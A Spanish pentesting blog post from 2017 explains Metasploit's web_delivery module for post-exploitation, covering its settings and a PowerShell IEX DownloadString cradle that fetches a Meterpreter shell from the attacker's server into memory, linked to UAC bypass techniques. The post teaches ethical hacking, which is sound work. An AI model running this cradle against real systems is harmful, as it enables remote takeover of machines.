miércoles, febrero 08, 2017

Metasploit Web Delivery: Un módulo que simplifica el despliegue de payloads #Metasploit #pentesting #Powershell

He hablado mucho sobre Metasploit para Pentesters y el Pentesting con Powershell en los últimos años. He tenido la suerte de tener diferentes formaciones en los principales congresos de seguridad e, incluso, este año volveré a tener mi quinta Rooted CON en lo que a formación se refiere, pero siempre se aprenden cosas nuevas. Metasploit tiene una comunidad que hace que el framework avance a una velocidad enorme, mientras que Powershell cada vez puede hacer más y más cosas. Es un indispensable en la auditoría interna moderna.

Figura 1: Metasploit Web Delivery.
Un módulo que simplifica el despliegue de payloads.

Hoy hablaremos del módulo Web Delivery, el cual permite desplegar mediante una petición web un payload sobre una máquina concreta. En otras palabras, si estamos haciendo uso de un Bypass de UAC en Windows con Powershell y queremos ejecutar un Meterpreter a través de Powershell podremos hacer una petición a este servicio y obtener un shell Meterpreter en formato PSHell. También será posible obtener un payload para ser ejecutado en Python y en PHP, por lo que hace fundamental conocer este módulo y su uso.

¿Cuándo se puede o se debe utilizar Web Delivery?

En un entorno de post-explotación, por ejemplo, en un entorno de elevación de privilegio o un bypass UAC en Windows. Si se parte de la situación de compromiso en una máquina, dónde el atacante tiene una sesión o se está explotando una vulnerabilidad a través de la ejecución de un exploit en Python, PHP o Powershell, Web Delivery proporciona flexibilidad y sencillez.

Figura 2: Carga del módulo de Web_Delivery en Metasploit

El módulo puede cargarse en la ruta exploits/multi/script/web_delivery. Éste dispone de varias opciones que hay que seleccionar como, por ejemplo, la posibilidad de crear el payload para diferentes soluciones. Además, habrá que indicar por cual interfaz el servicio escuchará, el puerto y el URIPATH.

PoC: Explotación y obtención de Meterpreter con Powershell
Partiendo del escenario en el que se va a explotar una vulnerabilidad, puede ser una buena técnica utilizar Powershell para lograr obtener un Meterpreter. En este caso, la estrategia es la siguiente:
• Se lanzará el exploit contra la máquina remota. 
• El payload será una Powershell, la cual se encargará de cargar un módulo externo. Este módulo externo será una función de Powershell que se ejecutará con el objetivo de hacer una petición a nuestro Web Delivery. 
• Una vez que nuestro servicio Web Delivery haya obtenido la petición, responderá con el código del Meterpreter para Powershell. 
• Todo, en memoria.
En primer lugar, configuramos el módulo:
• set TARGET 2.
Con esto el payload que se ofrezca será el de Powershell, en este caso una Meterpreter o el que indiquemos en el atributo PAYLOAD de Metasploit.
• Elección del Payload. 
• Configuración de LHOST y LPORT. 
• Lanzar el módulo en background.
Figura 3: Configuración de un payload en Powershell

Como se puede ver, hay una instrucción que es importante. Nos proporcionan la instrucción IEX (New-Object Net.WebClient).DownloadString([IP]/URIPATH. Es importante, por limpieza indicar que el URIPATH es /, en la imagen no se hizo y se ve un PATH extraño.

Figura 4: Post-explotación vía Web Delivery

Si nos fijamos en la instrucción, vemos como se hace una petición desde la Powershell en post-explotación para conseguir un Meterpreter a través de Web Delivery, en formato adecuado. Este tipo de escenarios, son claros en los ejemplos de Bypass UAC que podemos encontrar y de los que hemos hablado:
Bypass UAC Fileless
• Bypass de UAC usando Disk CleanUP 
Bypass UAC WinSxS
Bypass UAC ole32.dll y .NET

Figura 5: Ejemplo de ByPass de UAC vía Filesless publicado en este artículo

A continuación, se puede ver el acceso a la sesión a través de la Meterpreter obtenida con Web Delivery. Los usos son muchos y muy diferentes. Simplificación y manejo en la mano del pentester en un proyecto de Ethical Hacking.

Figura 6: Sesión Meterpreter con usuario en máquina remota

Web Delivery es un interesante servicio que encontramos en Metasploit y es que como comenté anteriormente, disponemos de un gran número de funcionalidades, y cada día más, que nos aportan mucha flexibilidad y mucho potencial. La integración entre Metasploit y Powershell es una realidad y la potencia que ofrecen juntos es muy grande. Todo pentester debe tener en cuenta esta unión, que es real desde hace ya años.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

2 comentarios:

Unknown dijo...

EXCELENTE

superjonathan anime dijo...

Sólo diré que aquí aprendo más que lo que enseñaron en la universidad

Entrada destacada

10 maneras de sacarle el jugo a tu cuenta de @MyPublicInbox si eres un Perfil Público

Cuando doy una charla a algún amigo, conocido, o a un grupo de personas que quieren conocer MyPublicInbox , siempre se acaban sorprendiendo ...

Entradas populares